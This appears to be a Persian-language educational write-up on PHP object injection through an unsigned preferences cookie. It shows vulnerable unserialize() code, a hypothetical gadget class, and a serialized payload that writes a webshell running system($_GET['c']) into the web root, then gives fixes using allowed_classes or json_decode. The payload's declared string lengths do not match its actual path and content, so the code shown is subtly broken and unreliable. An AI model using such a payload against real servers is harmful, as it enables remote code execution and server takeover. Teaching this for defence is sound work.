‹ بازگشت به کتابخانه‌ی رایت‌آپ‌ها
Insecure Deserialization شدت: بحرانی

اجرای کد از راه دور با PHP Object Injection در کوکی سفارشی "تنظیمات نمایش"

یک کوکی حاوی داده‌ی serialize‌شده‌ی PHP، بدون امضا یا اعتبارسنجی، با unserialize() بازسازی می‌شود؛ مهاجم با ساختن یک آبجکت مخرب (gadget chain) به RCE می‌رسد.

نویسنده: تیم PentesterHub

برای ذخیره‌ی ترجیحات نمایش کاربر (مثلاً تم، زبان)، بعضی اپلیکیشن‌های قدیمی مستقیم از serialize()/unserialize() روی یک کوکی خام استفاده می‌کنند:

// نسخه‌ی آسیب‌پذیر
class UserPrefs {
    public $theme = 'light';
}

// ذخیره
setcookie('prefs', serialize(new UserPrefs()));

// بازخوانی — نقطه‌ی خطرناک:
$prefs = unserialize($_COOKIE['prefs']);   // <- بدون هیچ اعتبارسنجی یا امضا
echo "تم فعال: " . $prefs->theme;

چرا unserialize خام خطرناک است

مقدار $_COOKIE['prefs'] کاملاً در کنترل کاربر است. PHP وقتی رشته را unserialize می‌کند، می‌تواند هر کلاسی که اسمش در رشته آمده را بسازد — نه فقط UserPrefs. اگر در کدبیس (یا یکی از کتابخانه‌های نصب‌شده) کلاسی با متد جادویی مثل __destruct() یا __wakeup() وجود داشته باشد که کار خطرناکی انجام می‌دهد (نوشتن فایل، اجرای دستور، include کردن مسیر دلخواه)، مهاجم می‌تواند با ساختن یک payload دستی، همان متد را با مقادیر دلخواه صدا بزند. به این الگو «gadget chain» می‌گویند. نمونه‌ی ساده‌شده (فرضی) از یک کلاس gadget در یک کتابخانه‌ی لاگ:

class LogFile {
    public $path;
    public $content;
    public function __destruct() {
        file_put_contents($this->path, $this->content);   // نوشتن فایل دلخواه!
    }
}

مهاجم payload زیر را به‌جای کوکی عادی می‌گذارد:

O:7:"LogFile":2:{s:4:"path";s:20:"/var/www/html/x.php";s:7:"content";s:38:"<?php system($_GET['c']); ?>";}

وقتی این رشته unserialize می‌شود و PHP آبجکت را از بین می‌برد (پایان request)، متد __destruct خودکار اجرا می‌شود و یک فایل PHP حاوی webshell در مسیر قابل‌دسترسی از وب می‌نویسد — یعنی اجرای کد دلخواه روی سرور (RCE) از یک کوکی.

راه‌حل

// حداقل محافظت در صورت نیاز اجباری به unserialize
$prefs = unserialize($_COOKIE['prefs'], ['allowed_classes' => [UserPrefs::class]]);

بهترین راه همچنان این است: json_decode($_COOKIE['prefs'], true) و کار با آرایه‌ی ساده، نه آبجکت PHP.

تمرین عملی در آزمایشگاه‌های Insecure Deserialization ›